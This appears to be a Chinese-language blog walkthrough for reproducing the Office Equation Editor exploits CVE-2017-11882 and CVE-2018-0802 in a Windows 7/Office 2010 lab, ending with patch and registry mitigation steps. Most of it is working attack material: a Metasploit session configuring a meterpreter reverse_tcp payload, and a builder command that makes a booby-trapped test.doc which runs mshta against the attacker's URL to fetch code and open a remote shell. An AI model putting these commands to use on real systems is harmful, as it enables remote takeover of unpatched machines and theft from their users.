漏洞说明
在CVE-2017-11882之后,2018年1月份又出了一个新的“噩梦公式二代”,在野样本嵌入了利用Nday漏洞和0day漏洞的2个公式对象同时进行攻击,Nday漏洞可以攻击未打补丁的系统,0day漏洞则攻击全补丁系统,绕过了CVE-2017-11882补丁的ASLR(地址随机化)安全保护措施,攻击最终将在用户电脑中植入恶意的远程控制程序。关于此漏洞的分析,可以看这里,今天看到在github公开了一个CVE-2018-0802的利用脚本,地址在这,为了达到最完美的利用,所以编写了RTF_11882_0802。
测试存在方法
与之前的利用CVE-2017-11882一样的利用方式,
Github地址:https://github.com/Ridter/RTF_11882_0802/
Poc Github地址:https://github.com/starnightcyber/CVE-2017-11882
本地测试环境:windows 7+office2010
metasploit下复现
将github CVE-2017-11882下载回来将脚本PS_shell.rb放到metasploit exploit的某个路径下:
我的kali下的metasploit所在路径是:/usr/share/metasploit-framework,
可以放在如下目录:(这里我们新创建一个word目录存放这个脚本)
脚本放置路径:/usr/share/metasploit-framework/modules/exploits/windows/word/
root@kali-Cotton:~/桌面# mv PS_shell.rb /usr/share/metasploit-framework/modules/exploits/windows/word //将poc移动到目录下
Metasploit下直接加载就行了:
msf > use exploit/windows/word/PS_shell msf exploit(windows/word/PS_shell) > set payload windows/meterpreter/reverse_tcppayload => windows/meterpreter/reverse_tcp msf exploit(windows/word/PS_shell) > set lhost 192.168.135.100 lhost => 192.168.135.100 msf exploit(windows/word/PS_shell) > set uripath 123 uripath => 123 msf exploit(windows/word/PS_shell) > exploit [*] Exploit running as background job 0. [*] Started reverse TCP handler on 192.168.135.100:4444 msf exploit(windows/word/PS_shell) > [*] Using URL: http://0.0.0.0:8080/123 [*] Local IP: http://192.168.135.100:8080/123 [*] Server started. [*] Place the following DDE in an MS document: mshta.exe "http://192.168.135.100:8080/123"
上面可以看出,我们要连接到这个地址:http://192.168.135.100:8080/123
我们需要用上面那个脚本重新生成这样一个存在漏洞的doc文件:
python RTF_11882_0802.py -c "mshta http://192.168.135.100:8080/123" -o test.doc
其实就是简单粗暴的把两个公式编辑器插入文档中,一个是11882,一个是0802。
“噩梦公式二代”(CVE-2018-0802)所使用的0day漏洞堪称CVE-2017-11882的双胞胎漏洞,攻击样本中的一个漏洞针对未打补丁前的系统,另外一个漏洞针对打补丁后的系统,利用两个OLE同时进行攻击,黑客精心构造的攻击完美兼容了系统漏洞补丁环境的不同情况。这个漏洞的利用技巧和Bypass ASLR的方式都带有一定的巧合性,假如EQNEDT32.EXE模块内没有一条满足条件的ret指令可以用来绕过ASLR,假如lpLogFont不是sub_21774的第一个参数,假如CVE-2017-11882的补丁修复方式强制开启了DEP保护,“噩梦公式二代”将没有可乘之机。
解决方案
一、及时更新补丁
补丁下载地址:
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-0802
二、通过注册表禁用此模块,可通过修改注册表,禁用以下COM控件的方式进行缓解,其中XX.X为版本号
在运行中输入:
reg add “HKLM\SOFTWARE\Microsoft\Office\XX.X\Common\COMCompatibility\{0002CE02-0000- 0000-C000-000000000046}” /v”Compatibility Flags” /t REG_DWORD /d 0×400
reg add”HKLM\SOFTWARE\Wow6432Node\Microsoft\Office\XX.X\Common\COMCompatibility\{0002CE02-0000-0000-C000-000000000046}” /v”Compatibility Flags” /t REG_DWORD /d 0×400